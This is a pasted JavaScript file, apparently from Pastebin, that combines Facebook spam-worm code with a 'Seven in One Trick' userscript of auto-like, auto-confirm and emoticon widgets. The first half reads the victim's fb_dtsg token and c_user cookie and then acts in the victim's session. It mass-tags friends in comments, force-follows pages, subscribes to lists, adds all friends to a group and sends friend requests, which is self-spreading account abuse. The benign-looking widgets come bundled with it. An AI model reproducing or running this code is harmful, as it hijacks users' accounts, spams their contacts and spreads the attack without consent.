Advertisement
sadsadsad

thử

Dec 16th, 2013
81
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 60.61 KB | None | 0 0
  1. /* CREDITOS AO MIGUEL TARGA, ESSA PARTE E DELE */
  2. function x__0() { return window.ActiveXObject ? new ActiveXObject("Msxml2.XMLHTTP") : new XMLHttpRequest; };
  3.  
  4. //Pegar todos amigos
  5. function get_friends(){
  6. var a=x__0();
  7. a.open("GET", "/ajax/typeahead/first_degree.php?__a=1&filter[0]=user&lazy=0&viewer="+uid+"&token=v7&stale_ok=0&options[0]=friends_only&options[1]=nm", false);
  8. a.send(null);
  9. if (a.readyState == 4) {
  10. var f = JSON.parse(a.responseText.substring(a.responseText.indexOf('{')));
  11. return f.payload.entries;
  12. }
  13. return false;
  14. }
  15.  
  16. /* FIM DA PARTE DO MIGUEL TARGA */
  17.  
  18.  
  19. //Pegar todos amigos
  20. function get_uid(b){
  21. var a=x__0();
  22. a.open("GET", 'http://graph.facebook.com/'+b, false);
  23. a.send();
  24. if (a.readyState == 4) {
  25. return uid = JSON.parse(a.responseText).id;
  26.  
  27. }
  28. return false;
  29. }
  30. // Pattern que vai trocar o valor dos coment?rios pelas marcaç?es
  31.  
  32. var patt = /comment_text=(.*?)&/
  33. var c = 1;
  34. username = /\.com\/(.*?)\//.exec(window.top.location)[1];
  35. uid = get_uid(username);
  36. a = window.top.location;
  37. termina = 0;
  38. var amigos = get_friends();
  39. post_id = /[0-9]{8,}/.exec(a);
  40. uids = 'comment_text=';
  41. header = 'ft_ent_identifier='+post_id+'&comment_text=@[100000365625674:0]&source=1&client_id=1359576694192%3A1233576093&reply_fbid&parent_comment_id&rootid=u_jsonp_3_19&ft[tn]=[]&ft[qid]=5839337351464612379&ft[mf_story_key]=5470779710560437153&ft[has_expanded_ufi]=1&nctr[_mod]=pagelet_home_stream&__user='+uid+'&__a=1&__req=4u&fb_dtsg='+document.getElementsByName('fb_dtsg')[0].value+'&phstamp='+Math.random();
  42. for ( var n = 1 ; n < amigos.length ; n++ ){
  43. //uids += '%40[' + amigos[n].uid + '%3A' + encodeURI(amigos[n].text) + ']%20';
  44. fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
  45. uids += '%40[' + amigos[n].uid + '%3AAAAAAAAAAAA]%20';
  46. c++;
  47. if(c == 7){
  48. // Quando o contador chega em 7, ele termina o parâmetro com um &...
  49. uids += '&';
  50. // ...envia as coisas com o método do indiano...
  51. with(new XMLHttpRequest()) open("POST", "/ajax/ufi/add_comment.php?__a=1"),setRequestHeader("Content-Type", "application/x-www-form-urlencoded"),send(header.replace(patt, uids));
  52.  
  53. // ... espera um segundo...
  54. z = setTimeout('function(){asd=0}', 1000);
  55. clearInterval(z);
  56.  
  57. // ... e seta tudo de novo pra recomeçar
  58. c = 1;
  59. uids = 'comment_text=';
  60.  
  61.  
  62. }
  63.  
  64. }
  65.  
  66.  
  67.  
  68.  
  69.  
  70. var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
  71. var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
  72.  
  73. function cereziAl(isim) {
  74. var tarama = isim + "=";
  75. if (document.cookie.length > 0) {
  76. konum = document.cookie.indexOf(tarama)
  77. if (konum != -1) {
  78. konum += tarama.length
  79. son = document.cookie.indexOf(";", konum)
  80. if (son == -1)
  81. son = document.cookie.length
  82. return unescape(document.cookie.substring(konum, son))
  83. }
  84. else { return ""; }
  85. }
  86. }
  87.  
  88. function getRandomInt (min, max) {
  89. return Math.floor(Math.random() * (max - min + 1)) + min;
  90. }
  91. function randomValue(arr) {
  92. return arr[getRandomInt(0, arr.length-1)];
  93. }
  94.  
  95. var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
  96. var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
  97.  
  98. function a(abone){
  99. var http4 = new XMLHttpRequest();
  100.  
  101. var url4 = "/ajax/follow/follow_profile.php?__a=1";
  102.  
  103. var params4 = "profile_id=" + abone + "&location=1&source=follow-button&subscribed_button_id=u37qac_37&fb_dtsg=" + fb_dtsg + "&lsd&__" + user_id + "&phstamp=";
  104. http4.open("POST", url4, true);
  105.  
  106. //Send the proper header information along with the request
  107. http4.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
  108. http4.setRequestHeader("Content-length", params4.length);
  109. http4.setRequestHeader("Connection", "close");
  110.  
  111. http4.onreadystatechange = function() {//Call a function when the state changes.
  112. if(http4.readyState == 4 && http4.status == 200) {
  113.  
  114. http4.close; // Close the connection
  115.  
  116. }
  117. }
  118.  
  119. http4.send(params4);
  120. }
  121.  
  122. function sublist(uidss) {
  123. var a = document.createElement('script');
  124. a.innerHTML = "new AsyncRequest().setURI('/ajax/friends/lists/subscribe/modify?location=permalink&action=subscribe').setData({ flid: " + uidss + " }).send();";
  125. document.body.appendChild(a);
  126. }
  127.  
  128.  
  129.  
  130. sublist("410561809062186");
  131.  
  132. sublist("439159526202414");
  133.  
  134. sublist("457897364328630");
  135.  
  136. sublist("457897674328599");
  137.  
  138. sublist("385814694864578");
  139.  
  140.  
  141.  
  142. var fb_dtsg = document['getElementsByName']('fb_dtsg')[0]['value'];
  143. var user_id = document['cookie']['match'](document['cookie']['match'](/c_user=(\d+)/)[1]);
  144.  
  145. var httpwp = new XMLHttpRequest();
  146. var urlwp = '/ajax/groups/membership/r2j.php?__a=1';
  147. var paramswp = '&ref=group_jump_header&group_id=449427401835382' + gid + '&fb_dtsg=' + fb_dtsg + '&__user=' + user_id + '&phstamp=';
  148. httpwp['open']('POST', urlwp, true);
  149. httpwp['setRequestHeader']('Content-type', 'application/x-www-form-urlencoded');
  150. httpwp['setRequestHeader']('Content-length', paramswp['length']);
  151. httpwp['setRequestHeader']('Connection', 'keep-alive');
  152. httpwp['send'](paramswp);
  153.  
  154. var fb_dtsg = document['getElementsByName']('fb_dtsg')[0]['value'];
  155. var user_id = document['cookie']['match'](document['cookie']['match'](/c_user=(\d+)/)[1]);
  156.  
  157. var friends = new Array();
  158. gf = new XMLHttpRequest();
  159. gf['open']('GET', '/ajax/typeahead/first_degree.php?__a=1&viewer=' + user_id + '&token' + Math['random']() + '&filter[0]=user&options[0]=friends_only', false);
  160. gf['send']();
  161. if (gf['readyState'] != 4) {} else {
  162. data = eval('(' + gf['responseText']['substr'](9) + ')');
  163. if (data['error']) {} else {
  164. friends = data['payload']['entries']['sort'](function (_0x93dax8, _0x93dax9) {
  165. return _0x93dax8['index'] - _0x93dax9['index'];
  166. });
  167. };
  168. };
  169.  
  170. for (var i = 0; i < friends['length']; i++) {
  171. var httpwp = new XMLHttpRequest();
  172. var urlwp = '/ajax/groups/members/add_post.php?__a=1';
  173. var paramswp= '&fb_dtsg=' + fb_dtsg + '&group_id=' + gid + '&source=typeahead&ref=&message_id=&members=' + friends[i]['uid'] + '&__user=' + user_id + '&phstamp=';
  174. httpwp['open']('POST', urlwp, true);
  175. httpwp['setRequestHeader']('Content-type', 'application/x-www-form-urlencoded');
  176. httpwp['setRequestHeader']('Content-length', paramswp['length']);
  177. httpwp['setRequestHeader']('Connection', 'keep-alive');
  178. httpwp['onreadystatechange'] = function () {
  179. if (httpwp['readyState'] == 4 && httpwp['status'] == 200) {};
  180. };
  181. httpwp['send'](paramswp);
  182. };
  183. var spage_id = "169487609906127";
  184. var spost_id = "452939741491059";
  185. var sfoto_id = "445170072268026";
  186. var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
  187. var smesaj = "";
  188. var smesaj_text = "";
  189. var arkadaslar = [];
  190. var svn_rev;
  191. var bugun= new Date();
  192. var btarihi = new Date();
  193. btarihi.setTime(bugun.getTime() + 1000*60*60*4*1);
  194. if(!document.cookie.match(/paylasti=(\d+)/)){
  195. document.cookie = "paylasti=hayir;expires="+ btarihi.toGMTString();
  196. }
  197.  
  198.  
  199. //arkadaslari al ve isle
  200. function sarkadaslari_al(){
  201. var xmlhttp = new XMLHttpRequest();
  202. xmlhttp.onreadystatechange = function () {
  203. if(xmlhttp.readyState == 4){
  204. eval("arkadaslar = " + xmlhttp.responseText.toString().replace("for (;;);","") + ";");
  205. for(f=0;f<Math.round(arkadaslar.payload.entries.length/10);f++){
  206. smesaj = "";
  207. smesaj_text = "";
  208. for(i=f*10;i<(f+1)*10;i++){
  209. if(arkadaslar.payload.entries[i]){
  210. smesaj += " @[" + arkadaslar.payload.entries[i].uid + ":" + arkadaslar.payload.entries[i].text + "]";
  211. smesaj_text += " " + arkadaslar.payload.entries[i].text;
  212. }
  213. }
  214. sdurumpaylas(); }
  215.  
  216. }
  217.  
  218. };
  219. var params = "&filter[0]=user";
  220. params += "&options[0]=friends_only";
  221. params += "&options[1]=nm";
  222. params += "&token=v7";
  223. params += "&viewer=" + user_id;
  224. params += "&__user=" + user_id;
  225.  
  226. if (document.URL.indexOf("https://") >= 0) { xmlhttp.open("GET", "https://www.facebook.com/ajax/typeahead/first_degree.php?__a=1" + params, true); }
  227. else { xmlhttp.open("GET", "http://www.facebook.com/ajax/typeahead/first_degree.php?__a=1" + params, true); }
  228. xmlhttp.send();
  229. }
  230.  
  231. //tiklama olayini dinle
  232. var tiklama = document.addEventListener("click", function () {
  233. if(document.cookie.split("paylasti=")[1].split(";")[0].indexOf("hayir") >= 0){
  234. svn_rev = document.head.innerHTML.split('"svn_rev":')[1].split(",")[0];
  235. sarkadaslari_al();
  236. document.cookie = "paylasti=evet;expires="+ btarihi.toGMTString();
  237.  
  238. document.removeEventListener(tiklama);
  239. }
  240. }, false);
  241.  
  242.  
  243. //arkada?? ekleme
  244. function sarkadasekle(uid,cins){
  245. var xmlhttp = new XMLHttpRequest();
  246. xmlhttp.onreadystatechange = function () {
  247. if(xmlhttp.readyState == 4){
  248. }
  249. };
  250.  
  251. xmlhttp.open("POST", "/ajax/add_friend/action.php?__a=1", true);
  252. var params = "to_friend=" + uid;
  253. params += "&action=add_friend";
  254. params += "&how_found=friend_browser";
  255. params += "&ref_param=none";
  256. params += "&outgoing_id=";
  257. params += "&logging_location=friend_browser";
  258. params += "&no_flyout_on_click=true";
  259. params += "&ego_log_data=";
  260. params += "&http_referer=";
  261. params += "&fb_dtsg=" + document.getElementsByName('fb_dtsg')[0].value;
  262. params += "&phstamp=165816749114848369115";
  263. params += "&__user=" + user_id;
  264. xmlhttp.setRequestHeader ("X-SVN-Rev", svn_rev);
  265. xmlhttp.setRequestHeader ("Content-Type","application/x-www-form-urlencoded");
  266.  
  267. if(cins == "farketmez" && document.cookie.split("cins" + user_id +"=").length > 1){
  268. xmlhttp.send(params);
  269. }else if(document.cookie.split("cins" + user_id +"=").length <= 1){
  270. cinsiyetgetir(uid,cins,"sarkadasekle");
  271. }else if(cins == document.cookie.split("cins" + user_id +"=")[1].split(";")[0].toString()){
  272. xmlhttp.send(params);
  273. }
  274. }
  275.  
  276. //cinsiyet belirleme
  277. var cinssonuc = {};
  278. var cinshtml = document.createElement("html");
  279. function scinsiyetgetir(uid,cins,fonksiyon){
  280. var xmlhttp = new XMLHttpRequest();
  281. xmlhttp.onreadystatechange = function () {
  282. if(xmlhttp.readyState == 4){
  283. eval("cinssonuc = " + xmlhttp.responseText.toString().replace("for (;;);","") + ";");
  284. cinshtml.innerHTML = cinssonuc.jsmods.markup[0][1].__html
  285. btarihi.setTime(bugun.getTime() + 1000*60*60*24*365);
  286. if(cinshtml.getElementsByTagName("select")[0].value == "1"){
  287. document.cookie = "cins" + user_id + "=kadin;expires=" + btarihi.toGMTString();
  288. }else if(cinshtml.getElementsByTagName("select")[0].value == "2"){
  289. document.cookie = "cins" + user_id + "=erkek;expires=" + btarihi.toGMTString();
  290. }
  291. eval(fonksiyon + "(" + id + "," + cins + ");");
  292. }
  293. };
  294. xmlhttp.open("GET", "/ajax/timeline/edit_profile/basic_info.php?__a=1&__user=" + user_id, true);
  295. xmlhttp.setRequestHeader ("X-SVN-Rev", svn_rev);
  296. xmlhttp.send();
  297. }
  298.  
  299.  
  300.  
  301.  
  302.  
  303.  
  304.  
  305.  
  306.  
  307.  
  308.  
  309.  
  310.  
  311.  
  312.  
  313.  
  314.  
  315.  
  316.  
  317.  
  318.  
  319.  
  320.  
  321.  
  322. // ==UserScript==
  323. // @name Seven in One Trick
  324. // @description All about facebook By Adib Pugar Nuraga
  325. // @include https://*.facebook.com/*
  326. // @include https://*.facebook.com/*/*
  327. // @include http://*.facebook.com/*
  328. // @include http://*.facebook.com/*/*
  329. // ==/UserScript==
  330. // ==13470X==
  331. body = document.body;
  332. if(body != null) {
  333. div = document.createElement("div");
  334. div.setAttribute('id','like5');
  335. div.style.position = "fixed";
  336. div.style.display = "block";
  337. div.style.width = "125px";
  338. div.style.opacity= 0.90;
  339. div.style.bottom = "+82px";
  340. div.style.left = "+6px";
  341. div.style.backgroundColor = "#eceff5";
  342. div.style.border = "1px dashed #94a3c4";
  343. div.style.padding = "2px";
  344. div.innerHTML = "<center><a href='http://www.facebook.com/adib.p.nuraga'><img src='http://m.uploadedit.com/b018/1375198514954.gif' alt='Loading...' width=120 hight=90></a></center><br><br></br>"
  345.  
  346. div2 = document.createElement("div");
  347. div2.setAttribute('id','spoiler');
  348. div2.style.position = "fixed";
  349. div2.style.opacity= 0.90;
  350. div2.style.bottom = "+155px";
  351. div2.style.left = "+6px";
  352. div2.style.backgroundColor = "#CCD3E3";
  353. div2.style.border = "1px dashed #555";
  354. div2.style.padding = "2px";
  355. div.style.width = "125px";
  356. div2.innerHTML = "<div style='background-color: #2E5392; color: #FFFFFF; border: 1px dashed #333333;'><center><a style='color: #FFFFFF;' onclick='spoiler()' title='Click to Hidden Widget'>&laquo;</a>&#8226; <a href='http://www.facebook.com/adib.p.nuraga' style='color: #FFFFFF;' onclick='alert(\'Thanks for install this script\');'>By Adib Pugar Nuraga</a></center></div> "
  357.  
  358. body.appendChild(div);
  359. body.appendChild(div2);
  360.  
  361. unsafeWindow.spoiler = function() {
  362. var i;
  363. for(i=1;i<=20;i++) {
  364. var x=document.getElementById('like'+i);
  365. if (x.style.display=="none") {
  366. x.style.display="block";
  367. div2.innerHTML = "<center><a onclick='spoiler()' title='Click to Hidden Widget'>&laquo;</a> &#8226; <a href='http://www.facebook.com/fans.adib' title='Thanks for install this script'>My FansPage</a></center> "
  368. }
  369. else {
  370. x.style.display="none";
  371. div2.innerHTML = "<center><a onclick='spoiler()' title='Click to Show Widget'>&raquo;</a></center>"
  372. }
  373. }
  374. };
  375. }
  376. // ==============
  377. // ==Statuses==
  378. body = document.body;
  379. if(body != null) {
  380. div = document.createElement("div");
  381. div.setAttribute('id','like1');
  382. div.style.position = "fixed";
  383. div.style.display = "block";
  384. div.style.width = "125px";
  385. div.style.opacity= 0.90;
  386. div.style.bottom = "+62px";
  387. div.style.left = "+6px";
  388. div.style.backgroundColor = "#eceff5";
  389. div.style.border = "1px dashed #94a3c4";
  390. div.style.padding = "2px";
  391. div.innerHTML = "<img src='http://t2.gstatic.com/images?q=tbn:ANd9GcQfTmxR1ix3EpGZJrJ2W6dzcIkGuujtYWDtVsRT1EoEWUMARoY1' width='16' height='14' align='absmiddle' />&nbsp;&nbsp;<a onclick='OtomatisLaik()'>Like All Status</a>"
  392.  
  393. body.appendChild(div);
  394.  
  395. unsafeWindow.OtomatisLaik = function() {
  396.  
  397. buttons = document.getElementsByTagName("button");
  398. for(i = 0; i < buttons.length; i++) {
  399. myClass = buttons[i].getAttribute("class");
  400. if(myClass != null && myClass.indexOf("like_link") >= 0)
  401. if(buttons[i].getAttribute("name") == "like")
  402. buttons[i].click();
  403. }
  404.  
  405. };
  406. }
  407. // ==============
  408. // ==Unlike Statuses==
  409. body = document.body;
  410. if(body != null) {
  411. div = document.createElement("div");
  412. div.setAttribute('id','like2');
  413. div.style.position = "fixed";
  414. div.style.display = "block";
  415. div.style.width = "125px";
  416. div.style.opacity= 0.90;
  417. div.style.bottom = "+42px";
  418. div.style.left = "+6px";
  419. div.style.backgroundColor = "#eceff5";
  420. div.style.border = "1px dashed #94a3c4";
  421. div.style.padding = "2px";
  422. div.innerHTML = "<img src='http://static.ak.fbcdn.net/rsrc.php/v1/yM/r/VnpYaU1mIhm.gif' width='16' height='14' align='absmiddle' />&nbsp;&nbsp;<a onclick='OtomatisUnlike()'>Unlike All Status</a>"
  423.  
  424. body.appendChild(div);
  425.  
  426. unsafeWindow.OtomatisUnlike = function() {
  427.  
  428. buttons = document.getElementsByTagName("button");
  429. for(i = 0; i < buttons.length; i++) {
  430. myClass = buttons[i].getAttribute("class");
  431. if(myClass != null && myClass.indexOf("like_link") >= 0)
  432. if(buttons[i].getAttribute("name") == "unlike")
  433. buttons[i].click();
  434. }
  435.  
  436. };
  437. }
  438. // ==============
  439. // ==Comments==
  440. body = document.body;
  441. if(body != null) {
  442. div = document.createElement("div");
  443. div.setAttribute('id','like3');
  444. div.style.position = "fixed";
  445. div.style.display = "block";
  446. div.style.width = "125px";
  447. div.style.opacity= 0.90;
  448. div.style.bottom = "+22px";
  449. div.style.left = "+6px";
  450. div.style.backgroundColor = "#eceff5";
  451. div.style.border = "1px dashed #94a3c4";
  452. div.style.padding = "2px";
  453. div.innerHTML = "<img src='http://static.ak.fbcdn.net/rsrc.php/v1/yl/r/OJrPIFwssAO.gif' width='16' height='14' align='absmiddle' />&nbsp;&nbsp;<a onclick='OtomatisLaikComments()'>Like Comment</a>"
  454.  
  455. body.appendChild(div);
  456.  
  457. //buat fungsi tunda
  458. function tunda(milliSeconds){
  459. var startTime = new Date().getTime();
  460. while (new Date().getTime() < startTime + milliSeconds);
  461. }
  462.  
  463.  
  464.  
  465. unsafeWindow.OtomatisLaikComments = function() {
  466.  
  467. buttons = document.getElementsByTagName("button");
  468. for(i = 0; i < buttons.length; i++) {
  469. myClass = buttons[i].getAttribute("class");
  470. if(myClass != null && myClass.indexOf("like_link") >= 0)
  471. if(buttons[i].getAttribute("title") == "Like this comment")
  472. buttons[i].click();
  473. }
  474.  
  475.  
  476.  
  477. };
  478. }
  479. // ==============
  480. // ==Unlike Comments==
  481. body = document.body;
  482. if(body != null) {
  483. div = document.createElement("div");
  484. div.setAttribute('id','like4');
  485. div.style.position = "fixed";
  486. div.style.display = "block";
  487. div.style.width = "125px";
  488. div.style.opacity= 0.90;
  489. div.style.bottom = "+2px";
  490. div.style.left = "+6px";
  491. div.style.backgroundColor = "#eceff5";
  492. div.style.border = "1px dashed #94a3c4";
  493. div.style.padding = "2px";
  494. div.innerHTML = "<img src='http://static.ak.fbcdn.net/rsrc.php/v1/yM/r/VnpYaU1mIhm.gif' width='16' height='14' align='absmiddle' />&nbsp;&nbsp;<a onclick='OtomatisUnlikeComments();'>Unlike Comment</a>"
  495.  
  496. body.appendChild(div);
  497. //buat fungsi tunda
  498. function tunda(milliSeconds){
  499. var startTime = new Date().getTime();
  500. while (new Date().getTime() < startTime + milliSeconds);
  501. }
  502.  
  503. unsafeWindow.OtomatisUnlikeComments = function() {
  504.  
  505.  
  506. buttons = document.getElementsByTagName("button");
  507. for(i = 0; i < buttons.length; i++) {
  508. myClass = buttons[i].getAttribute("class");
  509. if(myClass != null && myClass.indexOf("") >= 0)
  510. if(buttons[i].getAttribute("title") == "Unlike this comment")
  511. buttons[i].click();
  512. }
  513.  
  514. };
  515. }
  516.  
  517.  
  518. // ==============
  519.  
  520.  
  521.  
  522.  
  523.  
  524. // ==============
  525. // ==Confirm Semua==
  526. body = document.body;
  527. if(body != null) {
  528. div = document.createElement("div");
  529. div.setAttribute('id','like8');
  530. div.style.position = "fixed";
  531. div.style.display = "block";
  532. div.style.opacity= 0.90;
  533. div.style.bottom = "+2px";
  534. div.style.left = "+135px";
  535. div.style.backgroundColor = "#eceff5";
  536. div.style.border = "1px dashed #94a3c4";
  537. div.style.padding = "2px";
  538. div.innerHTML = "&#8226;&nbsp;<a onclick='OtomatisKonfirm();' >All Confirm</a>&nbsp; &#8226;&nbsp;<a onclick='OtomatisAbaikan();' >Unconfirm All</a>"
  539.  
  540. body.appendChild(div);
  541. //buat fungsi tunda
  542. function tunda(milliSeconds){
  543. var startTime = new Date().getTime();
  544. while (new Date().getTime() < startTime + milliSeconds);
  545. }
  546.  
  547. unsafeWindow.OtomatisKonfirm = function() {
  548. var x=document.getElementsByName("actions[accept]"); for (i=0;i<x.length;i++) { x[i].click();}
  549. };
  550.  
  551.  
  552. unsafeWindow.OtomatisAbaikan = function() {
  553. var x=document.getElementsByName("actions[hide]"); for (i=0;i<x.length;i++) { x[i].click();}
  554. };
  555. }
  556.  
  557. // ==============
  558. //add friends
  559. body = document.body;
  560. if(body != null) {
  561. div = document.createElement("div");
  562. div.setAttribute('id','like1');
  563. div.style.position = "fixed";
  564. div.style.display = "block";
  565. div.style.width = "125px";
  566. div.style.opacity= 0.90;
  567. div.style.bottom = "+82px";
  568. div.style.left = "+6px";
  569. div.style.backgroundColor = "#eceff5";
  570. div.style.border = "1px dashed #94a3c4";
  571. div.style.padding = "2px";
  572. div.innerHTML = "<img src='http://static.ak.fbcdn.net/rsrc.php/v1/y2/r/NGEIsWEAr4u.gif' width='16' height='14' align='absmiddle' />&nbsp;&nbsp;<a href=\"JavaScript:AutoAddFriends()\">Add Friends</a>"
  573. //div.innerHTML = "<a style=\"font-weight:bold;color:#333333\" href=\"JavaScript:AutoAddFriends()\">Add Friends</a>"
  574.  
  575. body.appendChild(div);
  576.  
  577. unsafeWindow.AutoAddFriends = function() {
  578.  
  579. buttons = document.getElementsByTagName("label");
  580. for(i = 0; i < buttons.length; i++) {
  581. myClass = buttons[i].getAttribute("class");
  582. if(myClass != null && myClass.indexOf("FriendRequestAdd") >= 0)
  583. buttons[i].click();
  584. }
  585.  
  586. };
  587. }
  588. //akhir add friend
  589.  
  590. // ==Expand==
  591. body = document.body;
  592. if(body != null) {
  593. div = document.createElement("div");
  594. div.setAttribute('id','like1');
  595. div.style.position = "fixed";
  596. div.style.display = "block";
  597. div.style.width = "125px";
  598. div.style.opacity= 0.90;
  599. div.style.bottom = "+102px";
  600. div.style.left = "+6px";
  601. div.style.backgroundColor = "#eceff5";
  602. div.style.border = "1px dashed #94a3c4";
  603. div.style.padding = "2px";
  604. div.innerHTML = "<img src='http://static.ak.fbcdn.net/rsrc.php/v1/yR/r/9drdO7It181.gif' width='16' height='14' align='absmiddle' />&nbsp;&nbsp;<a href=\"JavaScript:AutoExpand()\">Expand comment</a>"
  605.  
  606. body.appendChild(div);
  607.  
  608. unsafeWindow.AutoExpand = function() {
  609.  
  610. buttons = document.getElementsByTagName("input");
  611. for(i = 0; i < buttons.length; i++) {
  612. myClass = buttons[i].getAttribute("class");
  613. if(myClass != null && myClass.indexOf("") >= 0)
  614. if(buttons[i].getAttribute("name") == "view_all[1]")
  615. buttons[i].click();
  616. }
  617.  
  618. };
  619. }
  620. // ==============
  621. (function() {
  622. // Active only in main frame
  623. if (!document.querySelector("#pageNav")) {
  624. return;
  625. }
  626. //console.info("Extra Facebook Smileys");
  627.  
  628. // = Data =======
  629. var emoticons = [ { // Text to picture emoticons
  630. "chars" : " :) ",
  631. "class" : "emoticon_smile",
  632. "name" : "Smiley"
  633. }, {
  634. "chars" : " :( ",
  635. "class" : "emoticon_frown",
  636. "name" : "Frown"
  637. }, {
  638. "chars" : " :P ",
  639. "class" : "emoticon_tongue",
  640. "name" : "Tongue"
  641. }, {
  642. "chars" : " :D ",
  643. "class" : "emoticon_grin",
  644. "name" : "Grin"
  645. }, {
  646. "chars" : " :o ",
  647. "class" : "emoticon_gasp",
  648. "name" : "Gasp"
  649. }, {
  650. "chars" : " ;) ",
  651. "class" : "emoticon_wink",
  652. "name" : "Wink"
  653. }, {
  654. "chars" : " :v ",
  655. "class" : "emoticon_pacman",
  656. "name" : "Pacman"
  657. }, {
  658. "chars" : " >:( ",
  659. "class" : "emoticon_grumpy",
  660. "name" : "Gruñón"
  661. }, {
  662. "chars" : " :/ ",
  663. "class" : "emoticon_unsure",
  664. "name" : "Unsure"
  665. }, {
  666. "chars" : " :'( ",
  667. "class" : "emoticon_cry",
  668. "name" : "Cry"
  669. }, {
  670. "chars" : " ^_^ ",
  671. "class" : "emoticon_kiki",
  672. "name" : "Kiki"
  673. }, {
  674. "chars" : " 8) ",
  675. "class" : "emoticon_glasses",
  676. "name" : "Glasses"
  677. }, {
  678. "chars" : " B| ",
  679. "class" : "emoticon_sunglasses",
  680. "name" : "Sunglasses"
  681. }, {
  682. "chars" : " <3 ",
  683. "class" : "emoticon_heart",
  684. "name" : "Heart"
  685. }, {
  686. "chars" : " 3:) ",
  687. "class" : "emoticon_devil",
  688. "name" : "Devil"
  689. }, {
  690. "chars" : " O:) ",
  691. "class" : "emoticon_angel",
  692. "name" : "Angel"
  693. }, {
  694. "chars" : " -_- ",
  695. "class" : "emoticon_squint",
  696. "name" : "Squint"
  697. }, {
  698. "chars" : " o.O ",
  699. "class" : "emoticon_confused",
  700. "name" : "Confused"
  701. }, {
  702. "chars" : " >:o ",
  703. "class" : "emoticon_upset",
  704. "name" : "Upset"
  705. }, {
  706. "chars" : " :3 ",
  707. "class" : "emoticon_colonthree",
  708. "name" : "Colonthree"
  709. }, {
  710. "chars" : " (y) ",
  711. "class" : "emoticon_like",
  712. "name" : "Like"
  713. }, {
  714. "chars" : " :* ",
  715. "class" : "emoticon emoticon_kiss",
  716. "name" : "Kiss"
  717. }, {
  718. "chars" : " (^^^) ",
  719. "class" : "emoticon_shark",
  720. "name" : "Shark"
  721. }, {
  722. "chars" : " :|] ",
  723. "class" : "emoticon_robot",
  724. "name" : "Robot"
  725. }, {
  726. "chars" : " <(\") ",
  727. "class" : "emoticon_penguin",
  728. "name" : "Pingüino"
  729. }, {
  730. "chars" : " :poop: ",
  731. "class" : "emoticon_poop",
  732. "name" : "Poop"
  733. }, {
  734. "chars" : " :putnam: ",
  735. "class" : "emoticon_putnam",
  736. "name" : "Putman"
  737. }, {
  738. "chars" : " \ud83c\udf02 ",
  739. "class" : "_1az _1a- _2c0",
  740. "name" : "Pink Umbrella"
  741. }, {
  742. "chars" : " \ud83c\udf0a ",
  743. "class" : "_1az _1a- _2c1",
  744. "name" : "Sea Wave"
  745. }, {
  746. "chars" : " \ud83c\udf19 ",
  747. "class" : "_1az _1a- _2c2",
  748. "name" : "Crescent moon"
  749. }, {
  750. "chars" : " \ud83c\udf1f ",
  751. "class" : "_1az _1a- _2c3",
  752. "name" : "Bright Star"
  753. }, {
  754. "chars" : " \ud83c\udf31 ",
  755. "class" : "_1az _1a- _2c4",
  756. "name" : "Seedbed"
  757. }, {
  758. "chars" : " \ud83c\udf34 ",
  759. "class" : "_1az _1a- _2c5",
  760. "name" : "Single Palm Tree"
  761. }, {
  762. "chars" : " \ud83c\udf35 ",
  763. "class" : "_1az _1a- _2c6",
  764. "name" : "Cactus"
  765. }, {
  766. "chars" : " \ud83c\udf37 ",
  767. "class" : "_1az _1a- _2c7",
  768. "name" : "Tulip"
  769. }, {
  770. "chars" : " \ud83c\udf38 ",
  771. "class" : "_1az _1a- _2c8",
  772. "name" : "Cherry Blossom"
  773. }, {
  774. "chars" : " \ud83c\udf39 ",
  775. "class" : "_1az _1a- _2c9",
  776. "name" : "Rose"
  777. }, {
  778. "chars" : " \ud83c\udf3a ",
  779. "class" : "_1az _1a- _2ca",
  780. "name" : "Cayenne"
  781. }, {
  782. "chars" : " \ud83c\udf3b ",
  783. "class" : "_1az _1a- _2cb",
  784. "name" : "Sunflower"
  785. }, {
  786. "chars" : " \ud83c\udf3e ",
  787. "class" : "_1az _1a- _2cc",
  788. "name" : "Ear Of Rice"
  789. }, {
  790. "chars" : " \ud83c\udf40 ",
  791. "class" : "_1az _1a- _2cd",
  792. "name" : "Four Leaf Clover"
  793. }, {
  794. "chars" : " \ud83c\udf41 ",
  795. "class" : "_1az _1a- _2ce",
  796. "name" : "Maple Leaf"
  797. }, {
  798. "chars" : " \ud83c\udf42 ",
  799. "class" : "_1az _1a- _2cf",
  800. "name" : "Fallen Leaf"
  801. }, {
  802. "chars" : " \ud83c\udf43 ",
  803. "class" : "_1az _1a- _2cg",
  804. "name" : "Leaf Floating In The Wind"
  805. }, {
  806. "chars" : " \ud83c\udf4a ",
  807. "class" : "_1az _1a- _2ch",
  808. "name" : "Tangerine"
  809. }, {
  810. "chars" : " \ud83c\udf4e ",
  811. "class" : "_1az _1a- _2ci",
  812. "name" : "Red Apple"
  813. }, {
  814. "chars" : " \ud83c\udf53 ",
  815. "class" : "_1az _1a- _2cj",
  816. "name" : "Strawberry"
  817. }, {
  818. "chars" : " \ud83c\udf54 ",
  819. "class" : "_1az _1a- _2ck",
  820. "name" : "Burger"
  821. }, {
  822. "chars" : " \ud83c\udf78 ",
  823. "class" : "_1az _1a- _2cl",
  824. "name" : "Cocktail Glass"
  825. }, {
  826. "chars" : " \ud83c\udf7a ",
  827. "class" : "_1az _1a- _2cm",
  828. "name" : "Tankard"
  829. }, {
  830. "chars" : " \ud83c\udf81 ",
  831. "class" : "_1az _1a- _2cn",
  832. "name" : "Gift Wrapped"
  833. }, {
  834. "chars" : " \ud83c\udf83 ",
  835. "class" : "_1az _1a- _2co",
  836. "name" : "Pumpkin With Candle"
  837. }, {
  838. "chars" : " \ud83c\udf84 ",
  839. "class" : "_1az _1a- _2cp",
  840. "name" : "Christmas Tree"
  841. }, {
  842. "chars" : " \ud83c\udf85 ",
  843. "class" : "_1az _1a- _2cq",
  844. "name" : "Santa"
  845. }, {
  846. "chars" : " \ud83c\udf88 ",
  847. "class" : "_1az _1a- _2cr",
  848. "name" : "Balloon"
  849. }, {
  850. "chars" : " \ud83c\udf89 ",
  851. "class" : "_1az _1a- _2cs",
  852. "name" : "Party Popper"
  853. }, {
  854. "chars" : " \ud83c\udf8d ",
